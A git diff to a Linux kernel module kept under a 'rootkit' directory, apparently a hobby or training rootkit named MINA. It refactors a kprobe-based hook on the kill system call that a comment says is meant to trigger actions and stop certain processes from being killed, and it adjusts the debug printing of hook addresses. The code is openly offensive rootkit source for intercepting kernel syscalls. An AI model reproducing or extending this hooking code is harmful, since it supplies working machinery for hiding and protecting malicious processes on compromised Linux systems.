diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -5,7 +5,7 @@ void *kill_original = NULL;
asmlinkage int64_t hook_syskill(const struct pt_regs *r) {
if (kill_original == NULL)
- syscall_linear_search("__x64_sys_kill");
+ kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
return make_syscall(kill_original, r);
}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -19,6 +19,7 @@ typedef struct mina__hook {
} hook_t;
/* HOOKS definitions :) */
+#define HOOK_SYSCALL_NAME ("__x64_sys_kill")
asmlinkage int64_t hook_syskill(const struct pt_regs *);
// hooks utils
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -16,7 +16,7 @@ MODULE_VERSION("0.0.1");
hook_t SYS_HOOKS[] = {
/* used to trigger actions, prevent from killing some process */
- {.hookaddr = (int64_t)hook_syskill, .kpb = {.symbol_name = "__x64_sys_kill"}},
+ {.hookaddr = (int64_t)hook_syskill, .kpb = {.symbol_name = HOOK_SYSCALL_NAME}},
};
@@ -49,7 +49,7 @@ int make_syscall(void *callme, const struct pt_regs *regs) {
int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
- printk(KERN_INFO "[MINA] entering trampoline (kp=%#lx, ip=%#lx)\n", kp, r->ip);
+ printk(KERN_INFO "[MINA] entering trampoline (kp=0x%p, ip=%#lx)\n", kp, r->ip);
for (int i = 0; i < nb_hooks(); i++) {
/* if IP within current module, we are already in the hook */
if (kp == &SYS_HOOKS[i].kpb && !within_module(r->ip, THIS_MODULE)) {
@@ -69,7 +69,7 @@ static void __setup_hooks(void) {
printk(KERN_INFO "[MINA] calling register_kprobe() for %s\n", iter->kpb.symbol_name);
if (register_kprobe(&iter->kpb) == 0) {
- printk(KERN_INFO "[MINA] hooked %s (0x%px => 0x%px)",
+ printk(KERN_INFO "[MINA] hooked %s (0x%p => %#llx)",
iter->kpb.symbol_name,
iter->kpb.addr,
iter->hookaddr);
| | |